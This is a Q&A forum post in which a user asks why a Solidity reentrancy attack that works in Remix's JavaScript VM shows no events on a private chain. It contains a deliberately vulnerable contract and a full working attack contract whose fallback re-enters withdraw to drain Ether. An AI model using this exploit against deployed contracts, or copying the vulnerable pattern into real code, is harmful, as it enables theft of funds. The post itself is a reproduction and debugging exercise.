1

I reproduce the attack using the same codes successfully in Javascript VM of Remix, there are events in logs. But when I reproduce it in private chain, there are nothing. I cannot judge whether the attack is successful.

Victim and attack Codes:

pragma solidity ^0.4.10;

contract IDMoney {
    address owner;
    mapping (address => uint256) balances;  

    event withdrawLog(address, uint256);
    
    function IDMoney() { owner = msg.sender; }
    function deposit() payable { balances[msg.sender] += msg.value; }
    function withdraw(address to, uint256 amount) {
        require(balances[msg.sender] > amount);
        require(this.balance > amount);

        withdrawLog(to, amount);  // print logs
        
        to.call.value(amount)(); 
        balances[msg.sender] -= amount;
    }
    function balanceOf() returns (uint256) { return balances[msg.sender]; }
    function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}

contract Attack {
    address owner;
    address victim;

    modifier ownerOnly { require(owner == msg.sender); _; }
    
    function Attack() payable { owner = msg.sender; }
    
    function setVictim(address target) ownerOnly { victim = target; }
    
    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }

    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }

    function () payable {
        if (msg.sender == victim) {
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

while the transaction in remix is as following: enter image description here

I think the whole attack process is correct, because i reproduce it successfully in local environment of Remix.

2
  • 2
    In remix you can trace the execution of a transaction. In this case it appears you are trying to exploit withdraw, but that should generate withdrawLog event and there's no such event in the remix output. – Ismael Aug 27 '20 at 15:48
  • Thanks very much. I got it – Jocelyn Sep 3 '20 at 2:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.